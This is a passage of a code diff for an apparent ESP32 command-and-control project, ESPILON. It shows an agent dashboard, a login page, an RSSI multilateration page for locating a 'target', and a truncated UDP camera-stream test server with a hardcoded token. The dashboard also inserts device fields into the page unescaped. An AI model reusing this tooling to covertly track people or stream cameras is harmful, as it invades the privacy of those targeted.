⠂⡌⢢⠉⡔⢡⠊⡔⢡⠊⡔⡁⠀⠀⡀⠀⠂⠀⢀⠂⠌⠀⠀⡀⠈⠐⠀⠄⠀⠀⠀⠀⠀⠂⠀⠀⠀⣾⣿⣿⡆⠀⠀⠀⡀⠀⠐⠀⢠⠀⠂⢀⠀⠀⠀⠀⠄⠐⠀⡁⢀⠀⠀⠁⠀⠀⠂⢀⠐⠈⡀⠐⠀⠈⠀⠀⠀⡜⢠⠊⡔⢡⠃⡜⠠⢃⠌⡑⢢⠡⡘⢄⠣⠌⢢⠡⠌⢣
⠐⡌⢆⠱⣈⠢⡑⢌⠢⡑⡰⠁⠀⠁⠀⠐⢀⠀⠂⠀⠄⠐⠀⠀⠀⠂⢀⠀⠀⠁⡀⢀⠀⡀⠀⠀⠀⣿⣿⣿⣧⠀⠀⠀⠀⠀⠁⠀⠠⡇⠀⠀⠀⠀⣇⠀⠂⠀⠀⠀⠈⡄⠀⢀⠂⠀⠐⠀⠠⠀⡀⠀⠌⠀⠄⠀⠀⢈⠆⡱⢈⠆⡱⢈⠱⡈⠜⡠⠃⢆⠱⡈⢆⡉⢆⠱⡘⠤
⠒⡨⢐⠢⡄⠣⢌⠢⡑⢢⠑⠀⠀⠀⠀⠐⠀⢈⠀⡀⠀⠁⠈⠠⢈⠐⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⡄⠀⠀⠐⠀⠀⠀⠀⣿⠀⠠⠀⠀⣯⠀⠀⠀⠀⠀⠀⡇⠀⠀⠄⠈⢀⠐⠀⠀⠄⠀⠀⠀⠀⠈⠀⠀⡎⠰⡁⢎⠰⣁⠲⡁⢎⠰⡁⢎⠰⣁⠢⡘⢄⠣⡘⡰
⢂⠱⣈⠒⡌⠱⡈⢆⡑⠢⠍⠀⠀⠀⠀⠈⠐⠀⠂⠠⠀⠠⠐⠀⠀⠈⠀⠄⠀⠀⠀⠀⠀⠀⢰⠀⠀⣿⣿⣿⣿⣇⠀⢤⠀⠀⠀⠀⠀⢸⣟⡀⠀⠀⣿⣆⠀⠈⠀⠀⠀⢟⡀⠀⠠⠀⠀⡀⠀⠂⠀⠂⠀⠀⢂⠀⠀⠀⡜⢡⠘⠤⡁⢆⠡⡘⢄⠣⡘⢄⠣⢄⠱⡈⢆⠱⢠⠑
⠄⡃⢄⠣⢌⠱⡈⠆⡌⢡⠃⠀⠀⠀⠀⠀⠈⠀⠌⠀⠈⠀⡐⠀⠀⠀⠀⠀⡀⠀⠀⡀⠀⠄⢸⠀⠀⣿⣿⣿⣿⣿⢂⢸⡀⠀⠀⠀⠀⠘⣿⣜⡄⠀⣿⣯⡄⣀⠀⠀⠀⠺⠅⠀⠐⠀⠀⠀⠁⠀⠠⠀⠁⠄⠀⠀⠀⠀⡜⢠⠋⡔⢡⠊⡔⢡⠊⡔⠡⢊⠔⢊⠰⡁⢎⠰⠁⢎
⢄⠱⣈⠒⡌⢢⠑⡘⡄⣃⠆⠀⠀⠀⠀⠀⠀⠀⠠⠀⠄⠀⠀⢀⠀⠄⠀⠀⡁⠀⢀⠀⣤⠀⠘⡇⠀⢹⣿⣿⣿⣿⣯⣸⡴⠀⠀⠀⠀⢀⣻⣿⣬⣂⡋⢁⣤⢤⢶⣶⣤⣰⣶⠀⠀⠄⢀⠐⠀⠄⠁⡀⠠⠀⠀⠌⠀⠐⡘⡄⢣⠘⡄⢣⠘⡄⢃⠌⡱⢈⠜⡠⢃⠜⡠⢃⠍⢢
⣀⠒⡄⢣⠘⣄⢃⡒⡌⣐⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠌⠀⠈⡀⠀⠀⠀⢰⡆⠁⠀⠘⠒⠁⣀⣉⠀⢀⣀⣉⣩⣿⡟⢿⣿⣽⣯⣿⣼⣿⣿⣿⠿⢀⡿⡹⠊⠋⠉⠁⠀⠈⠛⠄⢀⠀⠂⢀⠀⠂⠀⠀⠐⠀⠀⡀⠂⠠⡑⢌⠢⡑⢌⠢⡑⢌⠢⡘⢄⠃⣆⠱⡈⠆⡱⢈⡌⡡
⢀⠣⠌⡄⠓⡄⣂⠒⡰⢈⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠂⢨⠄⠀⣔⣾⣿⡿⠿⠼⠆⠸⠿⣞⣱⡞⣿⣠⣹⣿⣿⣿⣿⣿⣿⡟⠰⢫⠗⡐⠀⠀⠀⠀⢄⠀⣶⣤⡀⠀⠀⠂⠀⠀⠀⠀⠐⠀⠀⠀⠀⠀⡱⢈⡔⠡⢊⠤⡑⢌⠢⡑⠌⡒⢠⢃⡘⠤⡑⢌⠰⢡
⢀⠣⡘⠠⢍⠰⣀⢃⠒⡩⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⢀⢸⠀⠀⢸⡃⠘⢊⠉⠀⠀⠀⠀⠀⢀⡀⠀⢉⡙⠻⣿⣿⣿⣿⣿⣿⣿⣯⣀⣷⣏⡌⠀⠠⠀⠀⠀⢈⠀⣸⣿⣿⠄⠀⠀⠀⠀⡀⠄⠀⠀⠀⠀⠀⠀⣑⠢⣐⠡⢊⠔⢌⠢⡑⢄⠣⡘⢄⠢⡘⠤⡑⢌⡑⢢
⠠⡑⢌⠱⣈⠒⡄⢣⠘⡔⢡⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠂⠸⠆⠀⢸⠷⠊⢁⠀⠀⠄⠀⠀⠉⡀⢹⣷⡄⠻⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⣿⡀⠁⠀⠄⢁⣴⣿⡿⢻⠀⠀⠀⠀⠀⠀⠀⠀⠄⠀⠀⠀⠀⢢⠑⡄⠣⢌⡘⢄⠣⡘⢄⠃⡜⠠⢃⠜⡠⢑⠢⡘⠤
⢄⠱⡈⢆⢡⠊⡔⠡⢃⠜⠤⡀⠀⠀⠀⠀⠀⠀⠀⠄⠀⠀⠀⠀⠘⣇⠀⢸⠀⠘⣿⣇⠈⠆⠀⠀⢐⠀⣼⣿⣷⣄⣹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠶⣾⡿⠿⠟⣡⣾⡀⠀⠀⠀⠠⠀⢀⠀⠀⠀⠀⢀⠠⢅⠪⡐⢅⠢⡘⢄⠣⡘⢄⠣⢌⠱⡈⢆⠱⡈⢆⠱⢌
⠄⡃⠜⡠⢂⠣⢌⠱⡈⠜⡰⢁⠆⠀⠀⠀⠀⠀⠈⡄⢳⡄⠀⠀⠀⠿⡄⢾⣿⣦⣘⠿⣷⣤⣁⣈⣴⣾⣿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣶⣶⣶⣷⣾⣿⣿⠀⠀⠀⠠⢀⠀⠀⠀⠀⠀⠀⠤⢃⡌⢢⠑⡌⢢⠑⡌⢢⠑⡌⠒⡌⢢⠑⡌⢂⠅⡊⢔⠨
⠤⠑⢌⡐⠣⡘⠄⢣⠘⡌⠔⡩⠘⡄⠀⠀⠀⠀⠀⢃⢻⣆⠈⠀⠀⣹⣡⢸⣿⣿⣿⣷⣬⣉⣙⣋⣩⣥⣴⣾⣿⣿⣿⣿⣿⣿⣿⡟⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠈⠀⠀⠀⢀⡘⢢⢡⠘⡄⢣⠐⢢⠑⡈⢆⠒⢌⡑⢌⠢⡑⡈⠆⡌⠱⣈⠒
⠠⢉⠆⡌⠱⡠⢉⠆⡱⢈⠆⡱⢉⠔⡀⠀⠀⠀⠀⠈⢆⣻⡇⣆⠈⠷⣜⣆⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢳⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⢀⠀⠀⠀⡄⣊⠔⣂⠣⠘⠤⡉⢆⢡⠱⡈⠜⡠⠒⡌⠒⠤⡑⢌⡐⠣⢄⠩
⣀⠣⡘⢠⠃⡔⣉⠢⡑⢌⡘⢄⠣⡘⡁⠀⠀⠀⠀⠀⠈⠻⣷⡘⠆⠈⢳⠺⡄⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣣⢗⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠀⠀⠔⠀⠀⠀⠀⠀⠰⢐⠡⢊⢄⠣⡉⢆⠱⡈⢆⠢⡑⠬⡐⡡⠌⡑⢢⠁⠆⡌⠱⣈⠱
⡀⢆⡑⢢⠑⡰⢄⠱⡈⢆⡘⢄⠣⢔⡁⠀⠀⡄⠀⠀⠀⠀⠘⢻⣷⣄⠈⢫⡽⡄⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣤⣿⣷⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠗⠀⠀⠀⠀⠀⠀⠀⠀⡱⢈⡒⠩⢄⠱⡈⢆⠡⡘⠤⡑⠌⢢⠑⡰⢡⠑⢢⠉⡜⢠⠃⡄⢣
⠐⡂⠜⡠⢃⠒⡌⡰⢁⠆⡸⢀⠇⢢⠄⠀⠰⡀⠀⠀⠀⠀⠀⠀⠉⠛⠳⣄⠹⣹⢆⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣆⠀⠀⠀⠀⠀⠁⠀⠀⡔⠡⢌⠱⡈⢆⠱⡈⢆⠑⡢⢡⢉⠆⡱⢀⠣⡘⢄⠣⢌⠢⡑⢌⠢
⠡⡘⠤⠑⡌⠒⠤⡑⠌⣂⠱⡈⢎⢢⠁⢀⡱⠰⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠑⢯⠶⡘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣏⣡⣴⣶⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠈⠀⠀⠀⠀⠀⠀⠀⠀⡰⢉⠆⡱⢈⠆⠱⡐⢌⠢⡑⠢⠌⡆⠱⡈⢆⠱⣈⠒⡄⢣⠘⡠⢃
⠐⡌⢢⢉⡔⡉⢆⠱⡈⢄⢃⠜⡠⢆⠁⢠⢂⡱⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣵⣈⡙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⡑⢢⠘⡄⢣⢈⠱⡈⢆⠱⣈⠱⡘⢄⠣⡑⢌⠒⡠⠑⡌⢢⠑⡄⢣
⠐⡌⢂⠦⡐⢡⠊⡔⢡⠊⡔⢨⡐⢌⠒⠤⢒⡰⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠛⢼⣢⡙⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋⠀⠀⠀⠀⠈⠀⠀⠀⡀⢄⠀⢑⡂⢣⠘⠤⡈⢆⠱⡈⠔⡠⢃⠜⡠⢃⠜⡠⢊⠅⠣⢌⠡⢊⠔⡡
⠈⡔⢡⢂⡑⠆⡱⢈⠆⡱⢈⠆⡘⡠⢉⠜⡐⢢⠁⠀⠀⠀⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠧⢌⡙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠉⠀⠀⠀⠀⠀⠀⠀⢀⠀⠤⡑⢊⠔⢢⡘⢄⠣⢌⠱⣀⠣⡘⠰⣁⠣⣈⠱⠈⢆⠱⡈⢌⠱⡈⢆⠣⡘⠔
⠐⡌⢂⠆⡱⢈⠔⡡⢊⠔⡡⢊⠔⡑⢌⠢⠱⣈⠒⡰⣀⠒⠤⣀⠀⡀⠀⠀⠀⠀⣈⠀⠀⠀⠀⠀⠀⠀⢤⡈⠐⠪⣙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⣠⠂⠀⠀⠀⠀⠀⡄⠀⠀⠀⠀⢆⡱⢨⠘⡄⠲⣈⠒⡌⠒⡄⠣⢌⠱⠠⡑⡄⢣⠉⢆⠢⡑⢌⢂⠱⡈⢆⠱⣈
⠐⡌⢢⠘⡄⢣⢘⠰⡈⢆⠑⠢⢌⡑⢌⠒⡡⢂⡱⠐⢤⢉⠒⡌⢢⢡⠩⢌⠓⡌⢄⠣⢢⡐⠤⠠⠀⠀⢸⣚⡳⢧⡤⣌⡈⠛⠛⠿⢻⢟⠿⠿⠟⢋⣡⢴⡛⢶⠀⠀⠐⠂⠥⡉⠄⠀⠀⠀⠘⢠⠢⡑⡌⠰⢃⠄⠣⢌⠱⣈⠒⡌⢒⡡⡘⠤⡁⠎⡄⢃⠜⡠⢊⠔⡡⢊⠔⢢
⢂⠌⡄⢣⠘⡄⢎⠰⡁⠎⡌⡑⠢⠌⡄⠣⠔⡃⢔⠩⡐⢊⠔⡌⣡⠢⡑⢌⠒⡌⢌⡒⠁⠈⠀⠀⠀⠀⠸⣴⢫⡗⡾⣡⢏⡷⢲⠖⡦⣴⠲⣖⣺⠹⣖⡣⣟⠾⠀⠀⠀⠀⢂⠵⡁⠀⠀⠀⡘⢄⠣⡐⢌⠱⡈⢌⠣⢌⠒⡄⢣⠘⡄⢢⠑⠤⡑⢌⠰⡁⢆⠱⣈⠢⡑⢌⠚⠤
⠂⡜⢠⠃⡜⠰⢈⠆⡱⢈⠔⡨⠑⠬⡐⠱⡈⡔⣈⠒⡡⢊⠔⡨⢐⠢⡑⢌⠒⡌⠢⠜⡀⠀⠀⠀⠀⠀⠀⠞⣧⢻⠵⣋⢾⡱⣏⢿⡱⣎⡳⣝⢮⡻⠵⠋⠈⠀⠀⠀⠀⠀⢉⡒⡀⠀⠀⠀⠱⡈⢆⠱⡈⢆⡑⠢⡑⠢⡑⠌⢢⠑⡌⢢⠑⢢⠑⡌⡑⢌⢂⠒⡄⢃⠜⡠⣉⠒
⠐⡄⢣⠘⡄⠓⡌⢢⠑⡌⢢⠡⡉⢆⠡⢃⠴⠐⡄⢣⠐⢣⠘⡄⢃⠆⡱⢈⡒⠌⣅⠃⠀⠀⠀⠀⠀⠀⠀⠀⠈⠋⠿⣱⢧⡝⣮⢧⡻⠜⠓⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠒⡄⠀⠀⢠⠓⡘⡄⢣⠘⠤⣈⠱⡈⣑⠨⡘⢄⠣⠘⠤⣉⠢⡑⠤⡑⢌⠢⡑⢌⡂⢎⡐⠤⣉
⠐⡌⢢⠑⡌⠱⡈⠤⠃⡜⣀⠣⣘⠠⢃⠌⡂⢇⠸⢠⠉⢆⠱⡈⢆⠱⣀⠣⡘⠬⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠁⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠂⠉⠔⣈⠆⣉⠒⡄⠣⠔⡠⢃⠜⡠⢃⠍⡔⠄⢣⠘⠤⡑⢌⠢⡁⢆⡘⠤⡘⢰⠠
⠐⡌⢂⠱⣈⠱⣈⠒⡡⢒⠠⢃⠄⠣⢌⠢⣉⠢⣁⠣⡘⢄⠣⡘⢄⠣⡄⠓⠈⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠊⠔⠣⢌⡑⡊⠔⣡⠊⡔⢡⠊⠤⡙⠠⢍⠒⢌⠢⠑⡌⢢⠘⠤⡑⢢⠑
⠐⢌⠡⠒⡄⠣⢄⠣⡐⢡⠊⡔⢊⠱⣈⠒⣄⠃⢆⠱⣈⠦⠱⠘⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠘⠸⢠⠑⡌⢢⠉⣆⠩⡑⠬⡘⢄⠣⡑⢄⠣⡘⠤⡑⢢⢉
⠈⢆⠡⢃⠌⡑⢢⠑⡌⠡⢎⠰⡁⠎⡄⡓⠤⠙⠈⠂⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠐⠁⠚⠤⡑⡌⠱⡈⢆⠱⡈⢆⠱⡈⢆⠱⡈⢆
⢁⠊⡔⡁⢎⠰⡁⢎⠰⡉⢆⠣⠘⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠑⢌⢢⡁⠇⣌⠂⡅⢊⠤⡑⢌
⠌⡒⠤⡑⢌⠢⡑⢌⠒⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⡌⢄⠣⠜⡠⢆⠱⣈
⠒⢌⠰⢡⠊⡔⠡⠎⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢆⡑⢊⠔⢢⠑⠤
⡈⢆⡘⢂⠱⠨⠅⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢌⡡⢊⠆⣉⠒
⠐⢢⠘⠤⡉⡕⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠢⢅⡊⠤⣉
⢈⠢⢉⠆⡱⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠒⡌⠱⡠
</pre>
<div class="lain-message">
<h2>No devices in the Wired</h2>
<p class="typing">Waiting for ESP32 agents to connect...</p>
<p class="quote">"Present day... Present time... HAHAHA!"</p>
</div>
</div>
</div>
{% endblock %}
{% block scripts %}
<script>
function formatDuration(seconds) {
if (seconds < 60) return Math.round(seconds) + 's';
if (seconds < 3600) return Math.round(seconds / 60) + 'm';
const hours = Math.floor(seconds / 3600);
const mins = Math.round((seconds % 3600) / 60);
return hours + 'h ' + mins + 'm';
}
function createDeviceCard(device) {
const statusClass = device.status === 'Connected' ? 'badge-connected' : 'badge-inactive';
return `
<div class="card" data-device-id="${device.id}">
<div class="card-header">
<span class="name">${device.id}</span>
<span class="badge ${statusClass}">${device.status}</span>
</div>
<div class="card-body">
<div class="device-info">
<div class="device-row">
<span class="label">IP Address</span>
<span class="value">${device.ip}:${device.port}</span>
</div>
<div class="device-row">
<span class="label">Connected</span>
<span class="value">${formatDuration(device.connected_for_seconds)}</span>
</div>
<div class="device-row">
<span class="label">Last Seen</span>
<span class="value">${formatDuration(device.last_seen_ago_seconds)} ago</span>
</div>
</div>
</div>
</div>
`;
}
async function loadDevices() {
try {
const res = await fetch('/api/devices');
const data = await res.json();
const grid = document.getElementById('devices-grid');
const empty = document.getElementById('empty-state');
const deviceCount = document.getElementById('device-count');
const activeCount = document.getElementById('active-count');
if (data.devices && data.devices.length > 0) {
grid.innerHTML = data.devices.map(createDeviceCard).join('');
grid.style.display = 'grid';
empty.style.display = 'none';
// Update stats
deviceCount.textContent = data.devices.length;
const active = data.devices.filter(d => d.status === 'Connected').length;
activeCount.textContent = active;
} else {
grid.style.display = 'none';
empty.style.display = 'flex';
deviceCount.textContent = '0';
activeCount.textContent = '0';
}
} catch (e) {
console.error('Failed to load devices:', e);
}
}
loadDevices();
setInterval(loadDevices, 5000);
</script>
{% endblock %}

View File

@ -0,0 +1,32 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login - ESPILON</title>
<link rel="stylesheet" href="{{ url_for('static', filename='css/main.css') }}">
</head>
<body class="login-container">
<div class="login-box">
<div class="logo">ESPILON</div>
{% if error %}
<div class="error">{{ error }}</div>
{% endif %}
<form method="post">
<div class="form-group">
<label for="username">Username</label>
<input type="text" id="username" name="username" required autofocus>
</div>
<div class="form-group">
<label for="password">Password</label>
<input type="password" id="password" name="password" required>
</div>
<button type="submit" class="btn-login">Sign in</button>
</form>
</div>
</body>
</html>

View File

@ -0,0 +1,174 @@
{% extends "base.html" %}
{% block title %}MLAT - ESPILON{% endblock %}
{% block head %}
<link rel="stylesheet" href="https://unpkg.com/leaflet@1.9.4/dist/leaflet.css" />
<script src="https://unpkg.com/leaflet@1.9.4/dist/leaflet.js"></script>
{% endblock %}
{% block content %}
<div class="page-header">
<div class="page-title">MLAT <span>Multilateration Positioning</span></div>
<div class="view-toggle">
<button class="view-btn active" data-view="map" onclick="switchView('map')">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
<circle cx="12" cy="10" r="3"/><path d="M12 21.7C17.3 17 20 13 20 10a8 8 0 1 0-16 0c0 3 2.7 7 8 11.7z"/>
</svg>
Map
</button>
<button class="view-btn" data-view="plan" onclick="switchView('plan')">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
<rect x="3" y="3" width="18" height="18" rx="2"/><path d="M3 9h18M9 21V9"/>
</svg>
Plan
</button>
</div>
</div>
<div class="mlat-container">
<!-- Map/Plan View -->
<div class="mlat-view-wrapper">
<!-- Leaflet Map View -->
<div id="map-view" class="mlat-view active">
<div id="leaflet-map"></div>
</div>
<!-- Plan View (Canvas + Image) -->
<div id="plan-view" class="mlat-view">
<div class="plan-controls">
<input type="file" id="plan-upload" accept="image/*" style="display:none" onchange="uploadPlanImage(this)">
<button class="btn btn-sm" onclick="document.getElementById('plan-upload').click()">
Upload Plan
</button>
<button class="btn btn-sm" onclick="clearPlan()">
Clear
</button>
<div class="control-divider"></div>
<button class="btn btn-sm toggle-btn active" id="grid-toggle" onclick="toggleGrid()">
Grid
</button>
<button class="btn btn-sm toggle-btn active" id="labels-toggle" onclick="toggleLabels()">
Labels
</button>
<div class="control-divider"></div>
<span class="control-label">Zoom:</span>
<button class="btn btn-sm" onclick="zoomPlan(-1)" title="Zoom Out">-</button>
<span class="zoom-level" id="zoom-level">100%</span>
<button class="btn btn-sm" onclick="zoomPlan(1)" title="Zoom In">+</button>
<button class="btn btn-sm" onclick="resetZoom()" title="Reset View">Reset</button>
<div class="control-divider"></div>
<span class="control-label">Size:</span>
<button class="btn btn-sm" onclick="adjustPlanSize(-10)" title="Shrink Plan">-10m</button>
<span class="size-display" id="size-display">50x30m</span>
<button class="btn btn-sm" onclick="adjustPlanSize(10)" title="Enlarge Plan">+10m</button>
</div>
<div class="plan-canvas-wrapper">
<canvas id="plan-canvas"></canvas>
</div>
</div>
</div>
<!-- Sidebar -->
<div class="mlat-sidebar">
<!-- Target Position -->
<div class="mlat-panel">
<h3>Target Position</h3>
<div class="mlat-stat" id="target-coord1-row">
<span class="label" id="target-coord1-label">Latitude</span>
<span class="value" id="target-coord1">-</span>
</div>
<div class="mlat-stat" id="target-coord2-row">
<span class="label" id="target-coord2-label">Longitude</span>
<span class="value" id="target-coord2">-</span>
</div>
<div class="mlat-stat">
<span class="label">Confidence</span>
<span class="value" id="target-confidence">-</span>
</div>
<div class="mlat-stat">
<span class="label">Last Update</span>
<span class="value" id="target-age">-</span>
</div>
<div class="mlat-stat">
<span class="label">Mode</span>
<span class="value" id="coord-mode">GPS</span>
</div>
</div>
<!-- Active Scanners -->
<div class="mlat-panel">
<h3>Scanners (<span id="scanner-count">0</span>)</h3>
<div class="scanner-list" id="scanner-list">
<div class="empty">No scanners active</div>
</div>
</div>
<!-- Map Settings (GPS mode) -->
<div class="mlat-panel" id="map-settings">
<h3>Map Settings (GPS)</h3>
<div class="config-row">
<label>Center Lat</label>
<input type="number" id="map-center-lat" value="48.8566" step="0.0001">
</div>
<div class="config-row">
<label>Center Lon</label>
<input type="number" id="map-center-lon" value="2.3522" step="0.0001">
</div>
<div class="config-row">
<label>Zoom</label>
<input type="number" id="map-zoom" value="18" min="1" max="20">
</div>
<button class="btn btn-primary btn-sm" onclick="centerMap()">Center Map</button>
<button class="btn btn-sm" onclick="fitMapToBounds()">Fit to Scanners</button>
</div>
<!-- Plan Settings (Local mode) -->
<div class="mlat-panel" id="plan-settings" style="display:none">
<h3>Plan Settings (Local)</h3>
<div class="config-row">
<label>Width (m)</label>
<input type="number" id="plan-width" value="50" min="1" step="1">
</div>
<div class="config-row">
<label>Height (m)</label>
<input type="number" id="plan-height" value="30" min="1" step="1">
</div>
<div class="config-row">
<label>Origin X (m)</label>
<input type="number" id="plan-origin-x" value="0" step="0.1">
</div>
<div class="config-row">
<label>Origin Y (m)</label>
<input type="number" id="plan-origin-y" value="0" step="0.1">
</div>
<button class="btn btn-primary btn-sm" onclick="applyPlanSettings()">Apply</button>
</div>
<!-- MLAT Configuration -->
<div class="mlat-panel">
<h3>MLAT Config</h3>
<div class="config-row">
<label>RSSI @ 1m</label>
<input type="number" id="config-rssi" value="-40" step="1">
</div>
<div class="config-row">
<label>Path Loss (n)</label>
<input type="number" id="config-n" value="2.5" step="0.1">
</div>
<div class="config-row">
<label>Smoothing</label>
<input type="number" id="config-smooth" value="5" min="1" max="20">
</div>
<div class="btn-group">
<button class="btn btn-primary btn-sm" onclick="saveConfig()">Save</button>
<button class="btn btn-secondary btn-sm" onclick="clearData()">Clear All</button>
</div>
</div>
</div>
</div>
{% endblock %}
{% block scripts %}
<script src="{{ url_for('static', filename='js/mlat.js') }}"></script>
{% endblock %}

54
tools/c2/test_udp.py Normal file
View File

@ -0,0 +1,54 @@
#!/usr/bin/env python3
"""Simple UDP test server to debug camera streaming."""
import socket
import sys
HOST = "0.0.0.0"
PORT = 5000
TOKEN = b"Sup3rS3cretT0k3n"
def main():
port = int(sys.argv[1]) if len(sys.argv) > 1 else PORT
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((HOST, port))
print(f"[UDP] Listening on {HOST}:{port}")
print(f"[UDP] Token: {TOKEN.decode()}")
print("[UDP] Waiting for packets...\n")
packet_count = 0
frame_count = 0
try:
while True:
data, addr = sock.recvfrom(65535)
packet_count += 1
# Check token
if data.startswith(TOKEN):
payload = data[len(TOKEN):]
if payload == b"START":
print(f"[{addr[0]}:{addr[1]}] START (new frame)")
elif payload == b"END":
